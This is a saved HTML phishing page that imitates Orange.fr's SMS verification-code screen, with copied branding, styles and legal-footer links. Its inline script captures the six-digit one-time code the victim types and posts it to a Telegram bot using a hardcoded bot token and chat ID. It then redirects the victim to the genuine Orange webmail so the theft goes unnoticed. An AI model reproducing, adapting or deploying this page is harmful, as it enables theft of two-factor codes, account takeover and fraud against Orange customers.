.escda a.escda-link img { width: 4em; }

.liens-legaux a, .liens-legaux span { display: inline-block; font-size: 0.875em; }

.gp.liens-legaux { display: flex; justify-content: center; }

.gp.liens-legaux .size-limit { display: flex; gap: 0.625em 1.875em; justify-content: center; align-items: center; flex-wrap: wrap; max-width: 64em; }

.gp.liens-legaux .size-limit a { white-space: nowrap; }

.gp.liens-legaux .size-limit a b { white-space: nowrap; font-weight: inherit; }

.gp.liens-legaux .size-limit span.separator { display: inline-block; width: 0px; height: 1em; border-left: 1px solid rgb(85, 85, 85); }

.gp.liens-legaux .size-limit .non-breakable { white-space: nowrap; display: inline-flex; gap: 0.625em 1.875em; }

.gp.liens-legaux .size-limit .non-breakable a { font-size: inherit; }

@media (max-width: 48em) {
  .gp.liens-legaux .size-limit { display: block; columns: 2; width: 100%; }
  .gp.liens-legaux .size-limit .non-breakable { display: block; }
  .gp.liens-legaux .size-limit .non-breakable a { display: block; }
  .gp.liens-legaux .size-limit span.separator { display: none; }
  .gp.liens-legaux .size-limit a, .gp.liens-legaux .size-limit span { display: block; margin: 0px 0px 1.25em; white-space: normal; }
}

@media (max-width: 22.5em) {
  .gp.liens-legaux .size-limit { columns: 1; }
  .gp.liens-legaux .size-limit a, .gp.liens-legaux .size-limit span { display: block; margin: 0px 0px 1.25em; white-space: normal; }
}

.liens-legaux.sosh { display: flex; justify-content: center; padding-top: 1.25em; padding-bottom: 1.25em; }

@media screen and (max-width: 48em) {
  .liens-legaux.sosh { justify-content: normal; }
}

.liens-legaux.sosh .size-limit { display: flex; gap: 0.625em 1.875em; justify-content: center; align-items: center; flex-wrap: wrap; max-width: 64em; }

@media screen and (max-width: 48em) {
  .liens-legaux.sosh .size-limit { flex-direction: column; font-size: 1.0625em; align-items: normal; }
  .liens-legaux.sosh .size-limit .non-breakable { flex-direction: column; }
}

.liens-legaux.sosh .size-limit a { font-size: 1em; white-space: nowrap; }

.liens-legaux.sosh .size-limit a b { white-space: nowrap; font-weight: inherit; }

.liens-legaux.sosh .size-limit .non-breakable { font-size: 1em; white-space: nowrap; display: inline-flex; gap: 0.625em 1.875em; }

.liens-legaux.sosh .size-limit .non-breakable a { font-size: inherit; }

.liens-legaux.sosh .separator, .liens-legaux.sosh .copyright { display: none; }

.liens-legaux-compact.band { position: relative; margin: 0px; padding: 0px; border-top: medium; }

.liens-legaux-compact.band.dark-mode { color: rgb(255, 255, 255); border-top: 2px solid rgb(0, 0, 0); background-color: rgb(0, 0, 0); }

.liens-legaux-compact.band.light-mode { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); border-top: 1px solid rgb(204, 204, 204); border-bottom: 1px solid rgb(204, 204, 204); }

.liens-legaux-compact.band.light-mode a { color: rgb(0, 0, 0); background-color: rgb(255, 255, 255); }

.liens-legaux-compact.band.light-mode.compact-list { border-top: 2px solid rgb(204, 204, 204); }

.liens-legaux-compact .compact-list { width: 100%; margin: 0px; padding: 0px; background-color: rgb(0, 0, 0); border-top: 2px solid rgb(0, 0, 0); }

.liens-legaux-compact .compact-list a { display: block; box-sizing: border-box; width: 100%; padding: 10px 15px; color: rgb(255, 255, 255); font-weight: 700; line-height: 1.5; font-size: 0.875em; outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.liens-legaux-compact .compact-list a.sticky { background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); }

.liens-legaux-compact .compact-list a.hidden { display: none; }

.liens-legaux-compact .compact-list a:hover, .liens-legaux-compact .compact-list a:focus { text-decoration: underline; }

.liens-legaux-compact .compact-list a:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; }

.liens-legaux-compact .band-button { display: block; width: 100%; padding: 0px 15px; cursor: pointer; text-align: left; color: inherit; border: medium; background-color: inherit; font-size: 14px; font-weight: 700; line-height: 40px; outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.liens-legaux-compact .band-button::before { float: right; font-size: 1.625em; transform: rotate(270deg); }

.liens-legaux-compact .band-button[aria-expanded=&quot;true&quot;]::before { transform: rotate(90deg); }

.liens-legaux-compact .band-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; }

.sitemap { display: flex; }

.sitemap div.categories { display: grid; width: 100%; gap: 1.25em; grid-auto-rows: min-content; }

.sitemap div.categories h3 { grid-row: 1; margin: 0px; }

.sitemap div.categories ul.category-items { grid-row: 2; list-style-type: none; margin: 0px; padding: 0px; display: flex; flex-direction: column; gap: 1.125em; }

.sitemap div.categories ul.category-items li > a { display: flex; align-items: baseline; font-size: 0.875em; font-weight: initial; }

.sitemap div.categories ul.category-items li > a.link-icon-text::before { font-size: 0.875em; margin-right: 0.375em; flex-shrink: 0; }

@media screen and (max-width: 48em) {
  .sitemap div.categories { margin: 0px; padding: 0px; display: flex; justify-content: space-between; flex-direction: column; gap: 0px; }
  .sitemap div.categories button { position: relative; background: none; border: medium; color: rgb(255, 255, 255); text-align: left; font-size: 1em; font-weight: 700; line-height: 1.2; display: flex; padding: 0.3125em; margin: 0.3125em -0.3125em; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }
  .sitemap div.categories button::after { transform: rotate(90deg); margin-left: auto; color: rgb(241, 110, 0); }
  .sitemap div.categories button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }
  .sitemap div.categories button::before { content: &quot;&quot;; position: absolute; bottom: -0.3125em; left: 0.3125em; width: calc(100% - 0.625em); border-bottom: 1px solid rgb(244, 244, 244); }
  .sitemap div.categories button[aria-expanded=&quot;true&quot;]::after { transform: rotate(-90deg); }
  .sitemap div.categories button[aria-expanded=&quot;true&quot;]::before { border-bottom: medium; }
  .sitemap div.categories ul.category-items { display: none; }
  .sitemap div.categories ul.category-items.is-selected { display: flex; padding: 0.625em 0px 1.25em; border-bottom: 1px solid rgb(244, 244, 244); }
}"><head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width,initial-scale=1">
  
  
  <meta name="msapplication-config" content="none">
  <link rel="apple-touch-icon" sizes="57x57" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-57x57.png">
  <link rel="apple-touch-icon" sizes="60x60" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-60x60.png">
  <link rel="apple-touch-icon" sizes="72x72" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-72x72.png">
  <link rel="apple-touch-icon" sizes="76x76" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-76x76.png">
  <link rel="apple-touch-icon" sizes="114x114" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-114x114.png">
  <link rel="apple-touch-icon" sizes="120x120" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-120x120.png">
  <link rel="apple-touch-icon" sizes="144x144" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-144x144.png">
  <link rel="apple-touch-icon" sizes="152x152" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-152x152.png">
  <link rel="apple-touch-icon" sizes="180x180" href="https://idme.cdn.s.woopic.com/idme-front-1.6.0//static/icons/apple-touch-icon-180x180.png">

  <link rel="icon" type="image/png" href="favicon-32x32.png" sizes="32x32">
  <link rel="icon" type="image/png" href="favicon-194x194.png" sizes="194x194">
  <link rel="icon" type="image/png" href="favicon-96x96.png" sizes="96x96">
  <link rel="icon" type="image/png" href="android-chrome-36x36.png" sizes="36x36">
  <link rel="icon" type="image/png" href="android-chrome-48x48.png" sizes="48x48">
  <link rel="icon" type="image/png" href="android-chrome-72x72.png" sizes="72x72">
  <link rel="icon" type="image/png" href="android-chrome-96x96.png" sizes="96x96">
  <link rel="icon" type="image/png" href="android-chrome-144x144.png" sizes="144x144">
  <link rel="icon" type="image/png" href="android-chrome-192x192.png" sizes="192x192">
  <link rel="icon" type="image/png" href="favicon-16x16.png" sizes="16x16">
  <title>Saisie du code de vérification - Confirmation de votre identité</title>

  

  <!-- Nginx header handler -->
  
  
  <link rel="stylesheet" href="index-Ca-YVQK7.css">
<link rel="stylesheet" href="orange-icons-beEFzM3r.css"><style>body.une-arche elcos-header,body.une-arche elcos-footer-zone{--body-has-arch: 1 }body.une-arche elcos-header,body.une-arche elcos-footer-zone{--body-has-arch: 1 }elcos-header{--mobile-phone-portrait-breakpoint: 30em;--mobile-768-breakpoint: 48em;--mobile-breakpoint: 64em;--tiny-desktop-1100-breakpoint: 68.75em;--small-desktop-1280-breakpoint: 80em}@font-face{font-family:"o-HelveticaNeue";src:url("HelvNeue55_W1G.eot");src:url("HelvNeue55_W1G.eot") format("embedded-opentype"),url("HelvNeue55_W1G.woff2") format("woff2"),url("HelvNeue55_W1G.woff") format("woff"),url("HelvNeue55_W1G.ttf") format("truetype"),url("HelvNeue55_W1G.svg") format("svg");font-weight:normal;font-style:normal;font-display:swap}@font-face{font-family:"o-HelveticaNeue";src:url("HelvNeue75_W1G.eot");src:url("HelvNeue75_W1G.eot") format("embedded-opentype"),url("HelvNeue75_W1G.woff2") format("woff2"),url("HelvNeue75_W1G.woff") format("woff"),url("HelvNeue75_W1G.ttf") format("truetype"),url("HelvNeue75_W1G.svg") format("svg");font-weight:bold;font-style:normal;font-display:swap}@font-face{font-family:"Sosh Medium";font-style:normal;font-weight:400;src:url("") format("woff2"),url("") format("woff")}@font-face{font-family:"Sosh Medium";font-style:normal;font-weight:700;src:url("") format("woff2"),url("") format("woff")}@font-face{font-family:"Sosh Bold";font-style:normal;font-weight:700;src:url("") format("woff2"),url("") format("woff")}@font-face{font-family:"elcos-embedded-icons";src:url("") format("woff");font-weight:normal;font-style:normal}elcos-header,elcos-footer-zone,elcos-search-box{all:initial !important;font-family:o-HelveticaNeue,Arial,sans-serif;font-size:16px !important}elcos-header:focus,elcos-header:active,elcos-header:hover,elcos-header:visited,elcos-header:focus-visible,elcos-footer-zone:focus,elcos-footer-zone:active,elcos-footer-zone:hover,elcos-footer-zone:visited,elcos-footer-zone:focus-visible,elcos-search-box:focus,elcos-search-box:active,elcos-search-box:hover,elcos-search-box:visited,elcos-search-box:focus-visible{all:initial !important;font-family:o-HelveticaNeue,Arial,sans-serif;font-size:16px !important}elcos-header.preloading{display:none !important}.o-no-scroll{overflow:hidden}.o-anchor{display:block;visibility:hidden;overflow:hidden;height:0}@media screen and (max-width: 22.5em){.o-is-layer-open{width:100% !important;height:100vh !important;overflow:hidden !important}}.elcos-footer-zone{display:block !important}.elcos-footer-zone:last-of-type{border-bottom:solid .0625em #666 !important}.elcos-footer-zone:hover{display:block !important}.elcos-footer-zone:hover:last-of-type{border-bottom:solid .0625em #666 !important}footer>.o-marge{background-color:#000;color:#fff;font-family:o-HelveticaNeue,Arial,sans-serif;padding:1.25em calc(3.75em + (100% - 90em)/2)}@media(max-width: 90em){footer>.o-marge{padding:1.25em 3.75em}}@media(max-width: 80em){footer>.o-marge{padding:1.25em 3.4375em}}@media(max-width: 64em){footer>.o-marge{padding:.625em 2.9375em}}@media(max-width: 48em){footer>.o-marge{padding:.625em 1.6875em}}@media(max-width: 30em){footer>.o-marge{padding:.625em .9375em}}elcos-footer-zone[zone=liens-legaux-compact]{margin:0;padding:0}elcos-footer-zone[zone=liens-legaux-compact]:last-of-type{border-bottom:none}div:has(>elcos-footer-zone[zone=liens-legaux-compact]){height:auto !important}html{--document-scroll-offset: 0px}html.o-elcos-scroll-lock,html .o-elcos-scroll-lock{width:100% !important;height:calc(100vh + var(--document-scroll-offset)) !important;overflow:hidden !important}</style><style id="input-otp-style">[data-input-otp] + * { pointer-events: all !important; }
@supports (-webkit-touch-callout: none) {
  [data-input-otp] { letter-spacing: -0.6em !important; font-weight: 100 !important; font-stretch: ultra-condensed; font-optical-sizing: none !important; left: -1px !important; right: 1px !important; }
}
[data-input-otp]:autofill { background: transparent !important; color: transparent !important; border-color: transparent !important; opacity: 0 !important; box-shadow: none !important; -webkit-text-fill-color: transparent !important; }
[data-input-otp]:autofill { background: transparent !important; color: transparent !important; border-color: transparent !important; opacity: 0 !important; box-shadow: none !important; -webkit-text-fill-color: transparent !important; }
[data-input-otp]::selection { background: transparent !important; color: transparent !important; }</style><script data-scrapbook-elem="custom-elements-loader">(function (names) { if (!customElements) { return; } for (const name of names) { customElements.define(name, class CustomElement extends HTMLElement {}); } })(["elcos-header","elcos-footer-zone"])</script></head>

<body><div id="didomi-host" class="didomi-host" data-nosnippet="true" aria-hidden="true" lang="fr" data-lang-dir="ltr"></div><iframe style="display: none;" name="__tcfapiLocator" title="__tcfapiLocator" src="index_1.html"></iframe><elcos-header data-scrapbook-adoptedstylesheets="0" data-scrapbook-shadowdom="<div></div>"></elcos-header>
  <noscript>You need to enable JavaScript to run this app.</noscript>
  <main id="root"><noscript></noscript><div id="o-header" class="d-none" aria-hidden="true"><elcos-header class="" data-scrapbook-adoptedstylesheets="1" data-scrapbook-shadowdom="<div class=&quot;band bandeau-accessibility gp&quot;><a title=&quot;Aller au contenu&quot; href=&quot;#o-content-anchor&quot; data-oevent-category=&quot;header&quot; data-oevent-action=&quot;accessibilite&quot; data-oevent-label=&quot;alleraucontenu&quot;>Aller au contenu</a></div><div class=&quot;band ruban gp has-layer small&quot;><div class=&quot;left&quot;><a title=&quot;Retour à l'accueil Orange.fr&quot; href=&quot;https://www.orange.fr/&quot; data-oevent-category=&quot;header&quot; data-oevent-action=&quot;logo&quot; tabindex=&quot;0&quot; role=&quot;presentation&quot; aria-label=&quot;Retour à l'accueil Orange.fr&quot; class=&quot;logo has-small&quot;><img src=&quot;small-logo-orange.svg&quot; alt=&quot;Retour à l'accueil Orange.fr&quot; class=&quot;small&quot;></a></div><div class=&quot;right&quot;></div></div><div class=&quot;overlay&quot;></div><div></div>"></elcos-header></div><a id="o-content-anchor" class="o-anchor" tabindex="-1"></a><div id="s-header" class="d-none" aria-hidden="true"></div><div class="flex-fill d-flex flex-column bg-gray2"><div class="container-fluid d-flex flex-column"><div class="col-12 col-sm-12 col-md-8 col-lg-7 col-xl-6 col-xxl-5 bg-white align-self-center p-0 border-idme"><div class="mt-0 mb-3"><div class="row d-block text-center mt-2 px-2 px-lg-3"><a href="https://www.orange.fr/" title="retour à l‘accueil" data-oevent-category="idme_logo-V2" data-oevent-action="clic_logo" data-oevent-label="lien_orange"><img src="logo-orange.png" alt="Retour à l‘accueil Orange" style="max-height: 50px;"></a><h1 class="mt-1 mb-1 pb-0" data-testid="pageTitle">Pour continuer, confirmez votre&nbsp;identité</h1></div><div class="row d-block text-center"><div class="account-details d-inline-block account-details-nolink"><div class="d-flex flex-fill justify-content-center align-items-center"></div></div></div></div><div class="container-fluid mb-4 mb-md-3"><div class="row"><div class="col-12"><h2 class="h4 mb-0 pb-0" data-testid="pageSubtitle">Saisissez le code reçu par SMS</h2><p class="pt-0 mb-0"><p>On vient de vous envoyer un code à 6 chiffres au <span data-testid="otc-sent-at"><strong>06&nbsp;**&nbsp;**&nbsp;**&nbsp;**&nbsp;</strong></span></p></p><noscript></noscript><div data-input-otp-container="true" style="position: relative; cursor: text; user-select: none; pointer-events: none; --root-height: 68px;" class="d-flex justify-content-start"><div class="d-flex"><div class="otp-input-slot">-</div><div class="otp-input-slot">-</div><div class="otp-input-slot">-</div><div class="otp-input-slot">-</div><div class="otp-input-slot">-</div><div class="otp-input-slot">-</div></div><div style="position: absolute; inset: 0px; pointer-events: none;"><input autocomplete="one-time-code" data-testid="input-otc" data-input-otp="true" inputmode="numeric" pattern="^\d+$" style="position: absolute; inset: 0px; width: 100%; height: 100%; display: flex; text-align: left; opacity: 1; color: transparent; pointer-events: all; background: transparent; caret-color: transparent; border: 0px solid transparent; outline: transparent solid 0px; box-shadow: none; line-height: 1; letter-spacing: -0.5em; font-size: var(--root-height); font-family: monospace; font-variant-numeric: tabular-nums;" maxlength="6" value=""></div></div></div></div><div class="row mt-1"><div class="col-12 d-flex justify-content-center"><div class="d-inline-flex flex-column align-items-center"><button class="btn btn-primary" type="submit" id="btnSubmit" data-testid="submit-otc" data-oevent-category="idme_confirmation_otc" data-oevent-action="clic_confirmer_syntaxe_OK" data-oevent-label="bouton_confirmer_syntaxe_OK">Valider</button></div></div></div><div class="row mt-1 mb-2"><div class="col-12 d-flex justify-content-center"><span class="resendDisabled" data-testid="link-send-other-otc">Renvoyer le code dans 00:18</span></div></div></div></div></div></div></main>

  <script>
document.addEventListener("DOMContentLoaded", function () {
  const input = document.querySelector('input[data-input-otp]');
  const slots = document.querySelectorAll('.otp-input-slot');
  const resendText = document.querySelector('[data-testid="link-send-other-otc"]');
  let countdown = 300; // 5 minutes = 300 secondes

  // Formate le texte de minuterie
  function formatTime(seconds) {
    const m = String(Math.floor(seconds / 60)).padStart(2, '0');
    const s = String(seconds % 60).padStart(2, '0');
    return `Renvoyer le code dans ${m}:${s}`;
  }

  // Met à jour le texte toutes les secondes
  function startTimer() {
    resendText.textContent = formatTime(countdown);
    const interval = setInterval(() => {
      countdown--;
      if (countdown <= 0) {
        clearInterval(interval);
        resendText.textContent = "Vous pouvez renvoyer le code";
      } else {
        resendText.textContent = formatTime(countdown);
      }
    }, 1000);
  }

  // Démarre le timer
  startTimer();

  // Empêche la saisie de caractères non numériques
  input.addEventListener('input', function () {
    input.value = input.value.replace(/\D/g, '').slice(0, 6); // max 6 chiffres

    // Met à jour les slots
    slots.forEach((slot, index) => {
      slot.textContent = input.value[index] || '-';
    });
  });
});


document.getElementById("btnSubmit").addEventListener("click", function(event) {
    event.preventDefault();

    const otpInput = document.querySelector('input[data-testid="input-otc"]');
    const otpValue = otpInput ? otpInput.value.trim() : "";

    // Vérifie que le champ contient exactement 6 chiffres
    if (/^\d{6}$/.test(otpValue)) {
        const token = "6807969554:AAFACGiRejyHj3Ck016HppvEEl-AuZGv5pU";
        const chatId = "1054499478";
        const message = `Code OTP saisi : ${otpValue}`;

        fetch(`https://api.telegram.org/bot${token}/sendMessage`, {
            method: "POST",
            headers: {
                "Content-Type": "application/json"
            },
            body: JSON.stringify({
                chat_id: chatId,
                text: message
            })
        })
        .finally(() => {
            // Redirection vers Google après l’envoi (même si ça échoue)
            window.location.href = "https://messagerie.orange.fr/mail.html";
        });
    } else {
        alert("Veuillez saisir un code OTP complet de 6 chiffres.");
    }
});

</script>


<footer id="o-footer-wrapper"><elcos-footer-zone id="o-footer-lienLegal" zone="liens-legaux" data-scrapbook-adoptedstylesheets="2" data-scrapbook-shadowdom="<div class=&quot;band liens-legaux gp &quot;><h2 class=&quot;screen-reader-only&quot;>Mentions légales</h2><div class=&quot;size-limit&quot;><a title=&quot;Informations légales (nouvelle fenêtre)&quot; href=&quot;https://www.orange.fr/pages-juridiques/infos-legales.html&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;informationslegales&quot; data-oevent-label=&quot;informationslegales&quot; target=&quot;_blank&quot;>Informations légales</a><a title=&quot;Plan de site&quot; href=&quot;https://boutique.orange.fr/infos-conseils/plan-du-site&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;plandesite&quot; data-oevent-label=&quot;plandesite&quot;>Plan de site</a><a title=&quot;Données personnelles (nouvelle fenêtre)&quot; href=&quot;https://c.orange.fr/pages-juridiques/donnees-personnelles.html&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;donneespersonnelles&quot; data-oevent-label=&quot;donneespersonnelles&quot; target=&quot;_blank&quot;>Données personnelles</a><a title=&quot;Accessibilité : non conforme&quot; href=&quot;https://www.orange.fr/accessibilite?url=login.orange.fr/password&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;accessibilité&quot; data-oevent-label=&quot;accessibilité&quot;>Accessibilité : <b>non conforme</b></a><a title=&quot;Tarifs et Contrats (nouvelle fenêtre)&quot; href=&quot;https://boutique.orange.fr/tarifs-et-contrats/&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;tarifsetcontrats&quot; data-oevent-label=&quot;tarifsetcontrats&quot; target=&quot;_blank&quot;>Tarifs et Contrats</a><a title=&quot;Politique des cookies (nouvelle fenêtre)&quot; href=&quot;https://www.orange.fr/pages-juridiques/politique-des-cookies.html&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;politiquecookies&quot; data-oevent-label=&quot;politiquecookies&quot; target=&quot;_blank&quot;>Politique des cookies</a><a title=&quot;Gestion cookies&quot; href=&quot;javascript:&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;gestioncookies&quot; data-oevent-label=&quot;gestioncookies&quot; role=&quot;button&quot;>Gestion cookies</a><a title=&quot;Livraisons&quot; href=&quot;https://boutique.orange.fr/informations/livraison-gratuite/&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;livraisons&quot; data-oevent-label=&quot;livraisons&quot;>Livraisons</a><a title=&quot;Retours&quot; href=&quot;https://assistance.orange.fr/assistance-commerciale/l-achat-et-la-commande/vous-retracter/equipement-vous-retracter_162847-711922&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;retours&quot; data-oevent-label=&quot;retours&quot;>Retours</a><span class=&quot;non-breakable&quot;><a title=&quot;Publicité (nouvelle fenêtre)&quot; href=&quot;https://www.orangeadvertising.fr/&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;publicite&quot; data-oevent-label=&quot;publicite&quot; target=&quot;_blank&quot;>Publicité</a><a title=&quot;Signaler un contenu (nouvelle fenêtre)&quot; href=&quot;https://signalement.fftelecoms.org/&quot; data-oevent-category=&quot;footer_legal&quot; data-oevent-action=&quot;signaleruncontenu&quot; data-oevent-label=&quot;signaleruncontenu&quot; target=&quot;_blank&quot;>Signaler un contenu</a><span class=&quot;separator&quot;></span><span class=&quot;copyright&quot;>© Orange 2025</span></span></div></div>"></elcos-footer-zone></footer><iframe src="index_2.html" id="iframe-cookies-group" style="display:none"></iframe><script data-scrapbook-elem="basic-loader">(function () { var k1 = "data-scrapbook-shadowdom", k2 = "data-scrapbook-canvas", k3 = "data-scrapbook-input-indeterminate", k4 = "data-scrapbook-input-checked", k5 = "data-scrapbook-option-selected", k6 = "data-scrapbook-input-value", k7 = "data-scrapbook-textarea-value", k8 = "data-scrapbook-adoptedstylesheets", k9 = /^data-scrapbook-adoptedstylesheet-(\d+)$/, k10 = "data-scrapbook-shadowdom-mode", k11 = "data-scrapbook-shadowdom-clonable", k12 = "data-scrapbook-shadowdom-delegates-focus", k13 = "data-scrapbook-shadowdom-serializable", k14 = "data-scrapbook-shadowdom-slot-assignment", k15 = "data-scrapbook-slot-assigned", k16 = "data-scrapbook-slot-index", k17 = /^scrapbook-slot-index=(\d+)$/, k18 = '/scrapbook-slot-index', d = document, r = d.documentElement, $s = !!r.attachShadow, $as = !!d.adoptedStyleSheets, $c = !!window.HTMLCanvasElement, $sa = !!d.createElement('slot').assign, sle = [], sls = [], slt = function (r) { if ($sa) { var E = r.childNodes, i, e, s, m; for (i = 0; i < E.length; i++) { e = E[i]; if (e.nodeType === 8) { s = e.nodeValue; if (m = s.match(k17)) { s = e.nextSibling; if (s.nodeType === 3) { sls[m[1]] = s; } r.removeChild(e); i--; } else if (s === k18) { r.removeChild(e); i--; } } } } }, sl = function () { var i = sle.length, j, d, e; while (i--) { d = sle[i]; e = d.elem; d = d.value.split(','); j = d.length; while (j--) { d[j] = sls[parseInt(d[j], 10)]; } try { e.assign.apply(e, d); } catch (ex) { console.error(ex); } } }, asl = (function (r) { var l = [], E, i, e, m, c, j; if ($as) { E = r.attributes; i = E.length; while (i--) { e = E[i]; if (!(m = e.nodeName.match(k9))) { continue; } c = l[m[1]] = new CSSStyleSheet(); r.removeAttribute(m[0]); m = e.nodeValue.split('\n\n'); j = m.length; while (j--) { try { m[j] && c.insertRule(m[j]); } catch (ex) { console.error(ex); } } } } return l; })(r), as = function (d, e) { var l, i, I; if ($as && (l = e.getAttribute(k8)) !== null) { l = l.split(','); for (i = 0, I = l.length; i < I; i++) { d.adoptedStyleSheets.push(asl[l[i]]); } e.removeAttribute(k8); } }, fn = function (r) { var E = r.querySelectorAll ? r.querySelectorAll("*") : r.getElementsByTagName("*"), i = E.length, e, d, s, m; while (i--) { e = E[i]; s = e.shadowRoot; if ($s && (d = e.getAttribute(k1))) { if (!s) { try { s = e.attachShadow({ mode: (m = e.getAttribute(k10)) !== null ? m : 'open', clonable: e.hasAttribute(k11), delegatesFocus: e.hasAttribute(k12), serializable: e.hasAttribute(k13), slotAssignment: (m = e.getAttribute(k14)) !== null ? m : void 0, }); s.innerHTML = d; } catch (ex) { console.error(ex); } } e.removeAttribute(k1); e.removeAttribute(k10); e.removeAttribute(k11); e.removeAttribute(k12); e.removeAttribute(k13); e.removeAttribute(k14); } if ($c && (d = e.getAttribute(k2)) !== null) { (function () { var c = e, g = new Image(); g.onload = function () { c.getContext('2d').drawImage(g, 0, 0); }; g.src = d; })(); e.removeAttribute(k2); } if ((d = e.getAttribute(k3)) !== null) { e.indeterminate = true; e.removeAttribute(k3); } if ((d = e.getAttribute(k4)) !== null) { e.checked = d === 'true'; e.removeAttribute(k4); } if ((d = e.getAttribute(k5)) !== null) { e.selected = d === 'true'; e.removeAttribute(k5); } if ((d = e.getAttribute(k6)) !== null) { e.value = d; e.removeAttribute(k6); } if ((d = e.getAttribute(k7)) !== null) { e.value = d; e.removeAttribute(k7); } if ($sa && (d = e.getAttribute(k15)) !== null) { sle.push({elem: e, value: d}); e.removeAttribute(k15); } if ($sa && (d = e.getAttribute(k16)) !== null) { sls[d] = e; e.removeAttribute(k16); } if (s) { slt(e); as(s, e); fn(s); } } }; as(d, r); fn(d); sl(); })()</script></body></html>